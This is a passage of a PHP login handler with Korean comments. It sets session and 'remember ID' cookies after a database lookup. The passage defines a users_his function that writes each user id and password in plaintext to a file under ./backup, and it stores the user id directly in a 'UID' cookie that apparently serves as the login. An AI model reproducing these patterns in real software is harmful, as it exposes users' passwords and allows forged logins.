query($sql); //printf("%s", $sql); $saveid = "1"; $super_uid = NULL; if ($objConn->nf() != 0) { $objConn->next_record(); $super_uid = $objConn->f(0); } if ( $super_uid ) { /*쿠키 설정*/ if( $saveid == "1") { SetCookie("odid", $userid, time()+3600*24*30, "/"); SetCookie("idsave", "1", time()+3600*24*30, "/"); } else { SetCookie("odid", "", time()+3600*24*30, "/"); SetCookie("idsave", "0", time()+3600*24*30, "/"); } if( $ssl == "1") { SetCookie("odssl", $ssl, time()+3600*24*30, "/"); $PT = "https://"; } else { SetCookie("odssl", "", time()+3600*24*30, "/"); $PT = "http://"; } SetCookie("UID", $userid, 0, "/"); $transferURL = "../monitor.html"; printf(""); } else //인증 실패 { loginError(); } function users_his($id, $pw) { $ifp = fopen("./backup/users_his", "a"); fwrite($ifp, $id." - ".$pw); fclose($ifp); } function loginError() { printf(" \n"); die; } ?>